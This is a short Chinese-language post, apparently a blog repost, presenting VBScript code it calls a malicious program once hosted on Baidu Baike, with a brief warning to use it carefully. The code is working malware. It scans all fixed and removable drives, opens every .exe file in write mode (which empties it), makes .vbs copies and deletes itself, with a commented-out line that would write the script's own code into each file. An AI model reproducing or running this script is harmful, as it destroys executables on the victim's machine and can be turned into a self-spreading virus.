Vbs 测试程序二
这是一段原载于百度百科上的代码,Chaobs转载
原帖已删,就是怕有人用这个恶意程序。
慎用!
dim folder,fso,foldername,f,d,dc
set fso=createobject("scripting.filesystemobject")
set self=fso.opentextfile(wscript.scriptfullname,1)
vbscopy=self.readall
self.close
set dc=fso.Drives
for each d in dc
if d.drivetype=3 or d.drivetype=2 then
wscript.echo d
scan(d)
end if
next
lsfile=wscript.scriptfullname
set lsfile=fso.getfile(lsfile)
lsfile.delete(true)
sub scan(folder_)
on error resume next
set folder_=fso.getfolder(folder_)
set files=folder_.files
for each file in files
ext=fso.GetExtensionName(file)
ext=lcase(ext)
if ext="exe" then
set ap=fso.opentextfile(file.path,2,true)
' ap.write vbscopy
ap.close
set cop=fso.getfile(file.path)
cop.copy(file.path & ".vbs")
' file.delete(true)
end if
next
set subfolders=folder_.subfolders
for each subfolder in subfolders
scan(subfolder)
next
end sub